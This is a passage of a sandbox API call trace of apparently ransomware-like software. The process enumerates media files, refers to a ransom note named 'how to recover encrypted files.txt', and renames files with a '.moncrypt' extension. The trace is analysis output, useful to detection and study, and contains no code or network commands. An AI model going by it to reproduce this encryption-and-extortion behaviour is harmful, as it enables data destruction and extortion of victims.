0x555b78 [0057.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.423] GlobalUnlock (hMem=0x440004) returned 0 [0057.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.423] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.423] GlobalUnlock (hMem=0x440004) returned 0 [0057.423] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.423] GlobalUnlock (hMem=0x44000c) returned 0 [0057.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.424] CharLowerBuffW (in: lpsz="BabyBoyMainToScenesBackground.wmv", cchLength=0x21 | out: lpsz="babyboymaintoscenesbackground.wmv") returned 0x21 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.425] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 85 [0057.425] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.425] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 4 [0057.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 0x54e280 [0057.425] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.425] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.425] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.425] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", dwFileAttributes=0x20) returned 0 [0057.426] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.427] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.moncrypt")) returned 0 [0057.427] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.427] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.427] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.427] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.427] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.427] GlobalUnlock (hMem=0x44000c) returned 0 [0057.427] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.427] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.427] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.427] GlobalUnlock (hMem=0x44000c) returned 0 [0057.427] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.427] GlobalUnlock (hMem=0x440004) returned 0 [0057.427] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.427] CharLowerBuffW (in: lpsz="BabyBoyMainToScenesBackground_PAL.wmv", cchLength=0x25 | out: lpsz="babyboymaintoscenesbackground_pal.wmv") returned 0x25 [0057.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.427] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=89, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 89 [0057.429] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 4 [0057.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, 